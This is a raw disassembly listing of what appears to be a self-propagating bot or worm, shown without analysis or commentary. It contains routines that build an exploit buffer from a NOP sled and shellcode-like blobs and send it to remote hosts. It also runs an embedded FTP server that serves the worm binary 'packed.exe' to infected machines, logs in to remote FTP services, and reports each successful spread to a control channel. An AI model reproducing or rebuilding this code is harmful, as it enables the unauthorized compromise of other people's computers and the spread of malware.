loc_410C6F: ; CODE XREF: sub_410B52+116j
movsx eax, [ebp+var_7CC]
sub eax, 30h
mov [ebp+var_208], al
movsx eax, [ebp+var_7C8]
sub eax, 30h
mov [ebp+var_4], al
push 3Eh
push offset dword_41B168
mov eax, [ebp+arg_0]
push dword ptr [eax+3Eh]
call sub_4053BF
add esp, 0Ch
push 2710h
push 600h
lea eax, [ebp+var_80C]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+3Eh]
call sub_405443
add esp, 10h
test eax, eax
jnz short loc_410CC9
jmp locret_410F5E
; ---------------------------------------------------------------------------
loc_410CC9: ; CODE XREF: sub_410B52+170j
push 60h
push offset dword_41B1A8
mov eax, [ebp+arg_0]
push dword ptr [eax+3Eh]
call sub_4053BF
add esp, 0Ch
push 2710h
push 600h
lea eax, [ebp+var_80C]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+3Eh]
call sub_405443
add esp, 10h
test eax, eax
jnz short loc_410D06
jmp locret_410F5E
; ---------------------------------------------------------------------------
loc_410D06: ; CODE XREF: sub_410B52+1ADj
push 0A0h
push offset dword_41B20C
mov eax, [ebp+arg_0]
push dword ptr [eax+3Eh]
call sub_4053BF
add esp, 0Ch
push 2710h
push 600h
lea eax, [ebp+var_80C]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+3Eh]
call sub_405443
add esp, 10h
test eax, eax
jnz short loc_410D46
jmp locret_410F5E
; ---------------------------------------------------------------------------
loc_410D46: ; CODE XREF: sub_410B52+1EDj
movsx eax, [ebp+var_208]
cmp eax, 5
jnz loc_410E71
movsx eax, [ebp+var_4]
cmp eax, 1
jnz loc_410E71
push 86h
push offset dword_41B2B0
lea eax, [ebp+var_B78]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+var_20C]
lea eax, [ebp+var_204]
push eax
lea eax, [ebp+var_AF2]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 0
mov eax, 264h
sub eax, [ebp+var_20C]
add eax, 60h
push eax
mov eax, [ebp+var_20C]
lea eax, [ebp+eax+var_AF2]
push eax
call sub_410F60
add esp, 0Ch
push 4
push offset dword_41B410
lea eax, [ebp+var_88E]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 4
push offset dword_41B408
lea eax, [ebp+var_882]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 4
push offset dword_41B408
lea eax, [ebp+var_85E]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 4
push offset dword_41B408
lea eax, [ebp+var_852]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 20h
push offset dword_41B338
lea eax, [ebp+var_82E]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 36Ah
lea eax, [ebp+var_B78]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+3Eh]
call sub_4053BF
add esp, 0Ch
push 400h
call ds:dword_41709C ; Sleep
push 36Ah
lea eax, [ebp+var_B78]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+3Eh]
call sub_4053BF
add esp, 0Ch
jmp locret_410F5E
; ---------------------------------------------------------------------------
loc_410E71: ; CODE XREF: sub_410B52+1FEj
; sub_410B52+20Bj
movsx eax, [ebp+var_208]
cmp eax, 5
jnz short loc_410E85
movsx eax, [ebp+var_4]
test eax, eax
jz short loc_410E95
loc_410E85: ; CODE XREF: sub_410B52+329j
movsx eax, [ebp+var_208]
cmp eax, 4
jnz locret_410F5E
loc_410E95: ; CODE XREF: sub_410B52+331j
push 86h
push offset dword_41B35C
lea eax, [ebp+var_104C]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, 3E8h
sub eax, [ebp+var_20C]
push eax
push 90h
lea eax, [ebp+var_FC6]
push eax
call sub_416B6A ; memset
add esp, 0Ch
push [ebp+var_20C]
lea eax, [ebp+var_204]
push eax
lea eax, [ebp+var_BDE]
sub eax, [ebp+var_20C]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
and [ebp+var_B7C], 0
jmp short loc_410F06
; ---------------------------------------------------------------------------
loc_410EF9: ; CODE XREF: sub_410B52+3DAj
mov eax, [ebp+var_B7C]
inc eax
mov [ebp+var_B7C], eax
loc_410F06: ; CODE XREF: sub_410B52+3A5j
cmp [ebp+var_B7C], 10h
jge short loc_410F2E
push 4
push offset dword_41B408
mov eax, [ebp+var_B7C]
lea eax, [ebp+eax*4+var_BDE]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
jmp short loc_410EF9
; ---------------------------------------------------------------------------
loc_410F2E: ; CODE XREF: sub_410B52+3BBj
push 20h
push offset dword_41B3E4
lea eax, [ebp+var_B9E]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 4CEh
lea eax, [ebp+var_104C]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+3Eh]
call sub_4053BF
add esp, 0Ch
locret_410F5E: ; CODE XREF: sub_410B52+58j
; sub_410B52+98j ...
leave
retn
sub_410B52 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410F60 proc near ; CODE XREF: sub_410B52+265p
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
cmp [ebp+arg_8], 0
jnz short loc_410FA4
and [ebp+var_4], 0
jmp short loc_410F79
; ---------------------------------------------------------------------------
loc_410F72: ; CODE XREF: sub_410F60+3Dj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_410F79: ; CODE XREF: sub_410F60+10j
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_4]
jnb short loc_410F9F
push 20h
push 0
call sub_4103F5
pop ecx
pop ecx
imul eax, 5
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov al, byte_41BB00[eax]
mov [ecx], al
jmp short loc_410F72
; ---------------------------------------------------------------------------
loc_410F9F: ; CODE XREF: sub_410F60+1Fj
jmp locret_41102D
; ---------------------------------------------------------------------------
loc_410FA4: ; CODE XREF: sub_410F60+Aj
cmp [ebp+arg_8], 7Fh
jnz short loc_410FDF
and [ebp+var_8], 0
jmp short loc_410FB7
; ---------------------------------------------------------------------------
loc_410FB0: ; CODE XREF: sub_410F60+7Bj
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_410FB7: ; CODE XREF: sub_410F60+4Ej
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_4]
jnb short loc_410FDD
push 5
push 0
call sub_4103F5
pop ecx
pop ecx
imul eax, 5
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
mov al, byte_41BB00[eax]
mov [ecx], al
jmp short loc_410FB0
; ---------------------------------------------------------------------------
loc_410FDD: ; CODE XREF: sub_410F60+5Dj
jmp short locret_41102D
; ---------------------------------------------------------------------------
loc_410FDF: ; CODE XREF: sub_410F60+48j
and [ebp+var_C], 0
loc_410FE3: ; CODE XREF: sub_410F60+ADj
; sub_410F60+CBj
mov eax, [ebp+var_C]
cmp eax, [ebp+arg_4]
jnb short locret_41102D
push 20h
push 0
call sub_4103F5
pop ecx
pop ecx
mov [ebp+var_10], al
movsx eax, [ebp+var_10]
imul eax, 5
mov ecx, [ebp+arg_8]
and ecx, dword_41BB01[eax]
test ecx, ecx
jz short loc_41100F
jmp short loc_410FE3
; ---------------------------------------------------------------------------
loc_41100F: ; CODE XREF: sub_410F60+ABj
movsx eax, [ebp+var_10]
imul eax, 5
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_C]
mov al, byte_41BB00[eax]
mov [ecx], al
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
jmp short loc_410FE3
; ---------------------------------------------------------------------------
locret_41102D: ; CODE XREF: sub_410F60:loc_410F9Fj
; sub_410F60:loc_410FDDj ...
leave
retn
sub_410F60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41102F proc near ; CODE XREF: sub_41113B+79Bp
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 210h
push 0EA60h
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4050EA
add esp, 10h
mov [ebp+var_204], eax
cmp [ebp+var_204], 0
jz short loc_411065
cmp [ebp+var_204], 0FFFFFFFFh
jnz short loc_41106C
loc_411065: ; CODE XREF: sub_41102F+2Bj
xor eax, eax
jmp locret_411139
; ---------------------------------------------------------------------------
loc_41106C: ; CODE XREF: sub_41102F+34j
push offset aRb ; "rb"
push offset aPacked_exe ; "packed.exe"
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_208], eax
cmp [ebp+var_208], 0
jnz short loc_41109F
push [ebp+var_204]
call sub_4053B1
pop ecx
xor eax, eax
jmp locret_411139
; ---------------------------------------------------------------------------
loc_41109F: ; CODE XREF: sub_41102F+5Bj
; sub_41102F:loc_41111Cj
mov eax, [ebp+var_208]
mov eax, [eax+0Ch]
and eax, 10h
test eax, eax
jnz short loc_41111E
push [ebp+var_208]
push 200h
push 1
lea eax, [ebp+var_200]
push eax
call sub_416B90 ; fread
add esp, 10h
mov [ebp+var_20C], eax
push [ebp+var_20C]
lea eax, [ebp+var_200]
push eax
push [ebp+var_204]
call sub_4053BF
add esp, 0Ch
mov [ebp+var_210], eax
mov eax, [ebp+var_20C]
cmp eax, [ebp+var_210]
jz short loc_41111C
push [ebp+var_204]
call sub_4053B1
pop ecx
push [ebp+var_208]
call sub_416B82 ; fclose
pop ecx
xor eax, eax
jmp short locret_411139
; ---------------------------------------------------------------------------
loc_41111C: ; CODE XREF: sub_41102F+CFj
jmp short loc_41109F
; ---------------------------------------------------------------------------
loc_41111E: ; CODE XREF: sub_41102F+7Ej
push [ebp+var_204]
call sub_40538D
pop ecx
push [ebp+var_208]
call sub_416B82 ; fclose
pop ecx
push 1
pop eax
locret_411139: ; CODE XREF: sub_41102F+38j
; sub_41102F+6Bj ...
leave
retn
sub_41102F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41113B proc near ; DATA XREF: sub_411BBC+156o
var_558 = dword ptr -558h
var_554 = dword ptr -554h
var_550 = dword ptr -550h
var_54C = dword ptr -54Ch
var_548 = dword ptr -548h
var_544 = dword ptr -544h
var_540 = byte ptr -540h
var_53C = byte ptr -53Ch
var_538 = byte ptr -538h
var_534 = dword ptr -534h
var_530 = byte ptr -530h
var_52C = dword ptr -52Ch
var_528 = dword ptr -528h
var_524 = dword ptr -524h
var_520 = dword ptr -520h
var_51C = dword ptr -51Ch
var_518 = byte ptr -518h
var_318 = byte ptr -318h
var_118 = dword ptr -118h
var_114 = byte ptr -114h
var_113 = byte ptr -113h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 558h
push edi
mov eax, [ebp+arg_0]
mov [ebp+var_10C], eax
push offset a220 ; "220 -\r\n"
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
mov al, byte_41DE30
mov [ebp+var_104], al
push 3Fh
pop ecx
xor eax, eax
lea edi, [ebp+var_103]
rep stosd
stosw
stosb
mov al, byte_41DE30
mov [ebp+var_114], al
xor eax, eax
lea edi, [ebp+var_113]
stosd
stosb
and [ebp+var_4], 0
and [ebp+var_118], 0
and [ebp+var_108], 0
loc_4111CC: ; CODE XREF: sub_41113B+10Cj
; sub_41113B+1BDj ...
push 0EA60h
push [ebp+var_10C]
call sub_40546E
pop ecx
pop ecx
test eax, eax
jz loc_4119BA
push 200h
lea eax, [ebp+var_318]
push eax
push [ebp+var_10C]
call sub_4053DC
add esp, 0Ch
mov [ebp+var_520], eax
cmp [ebp+var_520], 0
jz short loc_411218
cmp [ebp+var_520], 0FFFFFFFFh
jnz short loc_41121D
loc_411218: ; CODE XREF: sub_41113B+D2j
jmp loc_4119BA
; ---------------------------------------------------------------------------
loc_41121D: ; CODE XREF: sub_41113B+DBj
lea eax, [ebp+var_108]
push eax
push offset dword_41C6AC
lea eax, [ebp+var_318]
push eax
call sub_40813C
add esp, 0Ch
mov [ebp+var_528], eax
cmp [ebp+var_528], 0
jnz short loc_411249
jmp short loc_4111CC
; ---------------------------------------------------------------------------
loc_411249: ; CODE XREF: sub_41113B+10Aj
lea eax, [ebp+var_108]
push eax
push offset dword_41C6AC
push 0
call sub_40813C
add esp, 0Ch
mov [ebp+var_51C], eax
cmp [ebp+var_51C], 0
jnz short loc_411278
mov [ebp+var_51C], offset byte_41DE30
loc_411278: ; CODE XREF: sub_41113B+131j
lea eax, [ebp+var_108]
push eax
push offset dword_41C6AC
push 0
call sub_40813C
add esp, 0Ch
push [ebp+var_528]
call sub_40ED38
pop ecx
mov [ebp+var_524], eax
mov eax, [ebp+var_524]
sub eax, dword_41C6A0
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_4112FD
mov [ebp+var_4], 1
push offset a331 ; "331 -\r\n"
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
jmp loc_4111CC
; ---------------------------------------------------------------------------
loc_4112FD: ; CODE XREF: sub_41113B+178j
mov eax, [ebp+var_524]
sub eax, dword_41C68C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_41135D
mov [ebp+var_118], 1
push offset a230 ; "230 -\r\n"
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
jmp loc_4111CC
; ---------------------------------------------------------------------------
loc_41135D: ; CODE XREF: sub_41113B+1D5j
cmp [ebp+var_4], 0
jz short loc_41136C
cmp [ebp+var_118], 0
jnz short loc_411371
loc_41136C: ; CODE XREF: sub_41113B+226j
jmp loc_4111CC
; ---------------------------------------------------------------------------
loc_411371: ; CODE XREF: sub_41113B+22Fj
mov eax, [ebp+var_524]
sub eax, dword_41C678
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_4113C7
push offset a215 ; "215 -\r\n"
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
jmp loc_4111CC
; ---------------------------------------------------------------------------
loc_4113C7: ; CODE XREF: sub_41113B+249j
mov eax, [ebp+var_524]
sub eax, dword_41C664
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_41141D
push offset a211 ; "211 -\r\n"
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
jmp loc_4111CC
; ---------------------------------------------------------------------------
loc_41141D: ; CODE XREF: sub_41113B+29Fj
mov eax, [ebp+var_524]
sub eax, dword_41C654
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_411473
push offset a257 ; "257 \"/\" -\r\n"
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
jmp loc_4111CC
; ---------------------------------------------------------------------------
loc_411473: ; CODE XREF: sub_41113B+2F5j
mov eax, [ebp+var_524]
sub eax, dword_41C63C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_4114C9
push offset a200 ; "200 -\r\n"
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
jmp loc_4111CC
; ---------------------------------------------------------------------------
loc_4114C9: ; CODE XREF: sub_41113B+34Bj
mov eax, [ebp+var_524]
sub eax, dword_41C628
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_41151F
push offset a425 ; "425 -\r\n"
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
jmp loc_4111CC
; ---------------------------------------------------------------------------
loc_41151F: ; CODE XREF: sub_41113B+3A1j
mov eax, [ebp+var_524]
sub eax, dword_41C614
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_411622
lea eax, [ebp+var_534]
push eax
lea eax, [ebp+var_52C]
push eax
lea eax, [ebp+var_540]
push eax
lea eax, [ebp+var_53C]
push eax
lea eax, [ebp+var_538]
push eax
lea eax, [ebp+var_530]
push eax
push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u"
push [ebp+var_51C]
call sub_416BA2 ; sscanf
add esp, 20h
movzx eax, [ebp+var_540]
push eax
movzx eax, [ebp+var_53C]
push eax
movzx eax, [ebp+var_538]
push eax
movzx eax, [ebp+var_530]
push eax
push offset aU_U_U_U ; "%u.%u.%u.%u"
push 100h
lea eax, [ebp+var_104]
push eax
call sub_416BAE ; _snprintf
add esp, 1Ch
mov eax, [ebp+var_52C]
and eax, 0FFh
shl eax, 8
mov ecx, [ebp+var_534]
and ecx, 0FFh
or eax, ecx
push eax
push offset aU_0 ; "%u"
push 6
lea eax, [ebp+var_114]
push eax
call sub_416BAE ; _snprintf
add esp, 10h
push offset a200 ; "200 -\r\n"
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
jmp loc_4111CC
; ---------------------------------------------------------------------------
loc_411622: ; CODE XREF: sub_41113B+3F7j
mov eax, [ebp+var_524]
sub eax, dword_41C5F4
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_4116E9
push offset aRb ; "rb"
push offset aPacked_exe ; "packed.exe"
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_548], eax
cmp [ebp+var_548], 0
jnz short loc_411660
jmp loc_4119BA
; ---------------------------------------------------------------------------
loc_411660: ; CODE XREF: sub_41113B+51Ej
push 2
push 0
push [ebp+var_548]
call sub_416B96 ; fseek
add esp, 0Ch
push [ebp+var_548]
call sub_416B76 ; ftell
pop ecx
mov [ebp+var_544], eax
push 0
push 0
push [ebp+var_548]
call sub_416B96 ; fseek
add esp, 0Ch
push [ebp+var_548]
call sub_416B82 ; fclose
pop ecx
push [ebp+var_544]
push offset a213U ; "213 %u\r\n"
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 10h
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
jmp loc_4111CC
; ---------------------------------------------------------------------------
loc_4116E9: ; CODE XREF: sub_41113B+4FAj
mov eax, [ebp+var_524]
sub eax, dword_41C5DC
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_411873
push offset a150 ; "150 -\r\n"
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
push 2710h
push 0
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_104]
push eax
call sub_4050EA
add esp, 10h
mov [ebp+var_54C], eax
cmp [ebp+var_54C], 0
jz short loc_411773
cmp [ebp+var_54C], 0FFFFFFFFh
jnz short loc_411778
loc_411773: ; CODE XREF: sub_41113B+62Dj
jmp loc_4119BA
; ---------------------------------------------------------------------------
loc_411778: ; CODE XREF: sub_41113B+636j
push offset aRb ; "rb"
push offset aPacked_exe ; "packed.exe"
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_554], eax
cmp [ebp+var_554], 0
jnz short loc_41179D
jmp loc_4119BA
; ---------------------------------------------------------------------------
loc_41179D: ; CODE XREF: sub_41113B+65Bj
push 2
push 0
push [ebp+var_554]
call sub_416B96 ; fseek
add esp, 0Ch
push [ebp+var_554]
call sub_416B76 ; ftell
pop ecx
mov [ebp+var_550], eax
push 0
push 0
push [ebp+var_554]
call sub_416B96 ; fseek
add esp, 0Ch
push [ebp+var_554]
call sub_416B82 ; fclose
pop ecx
push offset aPacked_exe ; "packed.exe"
push [ebp+var_550]
push offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan 1 0:00 .\r\ndrwxr-x"...
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 14h
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_54C]
call sub_4053BF
add esp, 0Ch
push [ebp+var_54C]
call sub_40538D
pop ecx
push offset a226 ; "226 -\r\n"
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
jmp loc_4111CC
; ---------------------------------------------------------------------------
loc_411873: ; CODE XREF: sub_41113B+5C1j
mov eax, [ebp+var_524]
sub eax, dword_41C54C
neg eax
sbb eax, eax
inc eax
test eax, eax
jz loc_411969
push offset a150 ; "150 -\r\n"
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_104]
push eax
call sub_41102F
pop ecx
pop ecx
test eax, eax
jz loc_411967
push offset a226 ; "226 -\r\n"
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
push 1
push offset dword_41EB08
call sub_409C88
pop ecx
pop ecx
inc eax
mov [ebp+var_558], eax
lea eax, [ebp+var_104]
push eax
push [ebp+var_558]
push offset aFtp_0 ; "ftp"
push offset unk_41C520
push offset aLast ; "#last"
call sub_40D4AB
add esp, 14h
push 3E8h
call ds:dword_41709C ; Sleep
jmp short loc_4119BA
; ---------------------------------------------------------------------------
loc_411967: ; CODE XREF: sub_41113B+7A4j
jmp short loc_4119BA
; ---------------------------------------------------------------------------
loc_411969: ; CODE XREF: sub_41113B+74Bj
mov eax, [ebp+var_524]
sub eax, dword_41C514
neg eax
sbb eax, eax
inc eax
test eax, eax
jz short loc_4119BA
push offset a221 ; "221 -\r\n"
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
loc_4119BA: ; CODE XREF: sub_41113B+A5j
; sub_41113B:loc_411218j ...
push offset a231 ; "231 -\r\n"
push 200h
lea eax, [ebp+var_518]
push eax
call sub_416BAE ; _snprintf
add esp, 0Ch
lea eax, [ebp+var_518]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_518]
push eax
push [ebp+var_10C]
call sub_4053BF
add esp, 0Ch
push [ebp+var_10C]
call sub_40538D
pop ecx
xor eax, eax
pop edi
leave
retn 4
sub_41113B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411A09 proc near ; CODE XREF: sub_411BBC+90p
var_204 = dword ptr -204h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 204h
push 32h
push [ebp+arg_0]
call sub_40546E
pop ecx
pop ecx
test eax, eax
jnz short loc_411A29
xor eax, eax
jmp locret_411BBA
; ---------------------------------------------------------------------------
loc_411A29: ; CODE XREF: sub_411A09+17j
push 200h
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call sub_4053DC
add esp, 0Ch
mov [ebp+var_204], eax
cmp [ebp+var_204], 0
jz short loc_411A58
cmp [ebp+var_204], 0FFFFFFFFh
jnz short loc_411A5F
loc_411A58: ; CODE XREF: sub_411A09+44j
xor eax, eax
jmp locret_411BBA
; ---------------------------------------------------------------------------
loc_411A5F: ; CODE XREF: sub_411A09+4Dj
lea eax, [ebp+var_200]
push eax
call sub_407BF5
pop ecx
push offset a220_0 ; "220"
lea eax, [ebp+var_200]
push eax
call sub_416DDE ; strcmp
pop ecx
pop ecx
test eax, eax
jz short loc_411A8A
xor eax, eax
jmp locret_411BBA
; ---------------------------------------------------------------------------
loc_411A8A: ; CODE XREF: sub_411A09+78j
push offset aUser1 ; "USER 1\r\n"
lea eax, [ebp+var_200]
push eax
call sub_416B5E ; sprintf
pop ecx
pop ecx
lea eax, [ebp+var_200]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call sub_4053BF
add esp, 0Ch
push 32h
push 200h
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call sub_405443
add esp, 10h
mov [ebp+var_204], eax
cmp [ebp+var_204], 0
jz short loc_411AEE
cmp [ebp+var_204], 0FFFFFFFFh
jnz short loc_411AF5
loc_411AEE: ; CODE XREF: sub_411A09+DAj
xor eax, eax
jmp locret_411BBA
; ---------------------------------------------------------------------------
loc_411AF5: ; CODE XREF: sub_411A09+E3j
lea eax, [ebp+var_200]
push eax
call sub_407BF5
pop ecx
push offset a331_0 ; "331"
lea eax, [ebp+var_200]
push eax
call sub_416DDE ; strcmp
pop ecx
pop ecx
test eax, eax
jz short loc_411B20
xor eax, eax
jmp locret_411BBA
; ---------------------------------------------------------------------------
loc_411B20: ; CODE XREF: sub_411A09+10Ej
call sub_410422
push eax
push offset aPass1 ; "PASS 1\r\n"
lea eax, [ebp+var_200]
push eax
call sub_416B5E ; sprintf
add esp, 0Ch
lea eax, [ebp+var_200]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call sub_4053BF
add esp, 0Ch
push 32h
push 200h
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call sub_405443
add esp, 10h
mov [ebp+var_204], eax
cmp [ebp+var_204], 0
jz short loc_411B8B
cmp [ebp+var_204], 0FFFFFFFFh
jnz short loc_411B8F
loc_411B8B: ; CODE XREF: sub_411A09+177j
xor eax, eax
jmp short locret_411BBA
; ---------------------------------------------------------------------------
loc_411B8F: ; CODE XREF: sub_411A09+180j
lea eax, [ebp+var_200]
push eax
call sub_407BF5
pop ecx
push offset a230_0 ; "230"
lea eax, [ebp+var_200]
push eax
call sub_416DDE ; strcmp
pop ecx
pop ecx
test eax, eax
jz short loc_411BB7
xor eax, eax
jmp short locret_411BBA
; ---------------------------------------------------------------------------
loc_411BB7: ; CODE XREF: sub_411A09+1A8j
push 1
pop eax
locret_411BBA: ; CODE XREF: sub_411A09+1Bj
; sub_411A09+51j ...
leave
retn
sub_411A09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411BBC proc near ; CODE XREF: sub_411D59+6p
var_1C8 = dword ptr -1C8h
var_1C4 = dword ptr -1C4h
var_1C0 = dword ptr -1C0h
var_1BC = byte ptr -1BCh
var_18 = byte ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1C8h
push 1A7h
push [ebp+arg_0]
lea eax, [ebp+var_1C0]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
mov [ebp+var_4], 1
and [ebp+var_10], 0
and [ebp+var_C], 0
mov [ebp+var_8], 1
jmp short loc_411C04
; ---------------------------------------------------------------------------
loc_411BFD: ; CODE XREF: sub_411BBC:loc_411CABj
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_411C04: ; CODE XREF: sub_411BBC+3Fj
cmp [ebp+var_8], 0FFFFh
jnb loc_411CB0
push 0Ah
